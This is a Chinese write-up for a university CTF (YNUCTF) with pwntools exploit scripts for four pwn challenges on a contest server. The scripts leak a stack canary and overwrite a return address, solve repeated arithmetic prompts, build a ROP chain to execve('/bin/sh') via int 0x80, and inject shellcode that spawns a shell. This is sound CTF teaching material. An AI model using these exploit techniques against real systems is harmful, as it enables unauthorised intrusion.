第一届云南大学CTF校赛YNUCTF-答案（Writeup）

ikun1

flat()
在pwntools中可以用flat()來构造rop，参数传递用list來传，list中的element为想串接的rop gadget地址，简单来说就是可以把：rop = p32(gadget1) + p32(gadget2) + p32(gadget3) ……变成这样表示：flat([gadget1,gadget2,gadget3,……])

exp

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=remote("220.181.151.92",27806)
elf=ELF("./YNU")
#s=process("./pwn")
#gdb.attach(s,"b*main")
s.sendafter(b"Ur name plz?\n",b"a"*0x19) #gdb中不需要回车符也能成功输入
s.recvuntil(b"a"*0x19)
canary=b"\x00"+s.recv(7) ## 利用canary特性得到canary的值

s.sendafter(b"right?",b"Y")
s.sendafter(b"plz.\n",flat([b"a"*0x18,canary,0,0x0000000000401231])) 
s.interactive()

ikun2

exp

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
f=remote("220.181.151.92",27809)
#f=process("./YNU")
#gdb.attach(f,"b*main")
i=1
while(i<=100):
    f.recvuntil(b"===\n")
    a=f.recvuntil(b"+")[:-1]
    b=f.recvuntil(b"=")[:-1]
    f.sendline(str(int(a)+int(b)).encode())
    i=i+1
f.interactive()

ikun3

学会ROPgadget
学学系统调用就行了

exp

from pwn import *
sh=remote("220.181.151.92",27818)
#sh = process('./YNU')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) 
sh.sendline(payload)
sh.interactive()

ikun4

exp

输入位置起始为0x13370000
源码中mmap分配的起始地方就是输入的地方

from pwn import *
# specify the cpu arch
context.arch = 'amd64'

shellcode = asm('''
    mov rax, 0x3b
    mov rdi, (0x13370000+90)
    xor rsi, rsi
    xor rdx, rdx
    syscall
''')
shellcode = shellcode.ljust(90) + b'/bin/sh\x00'
p=remote("220.181.151.92", 27827)
#p = process('./YNU')
p.sendlineafter('(max: 100): ', shellcode)
p.interactive()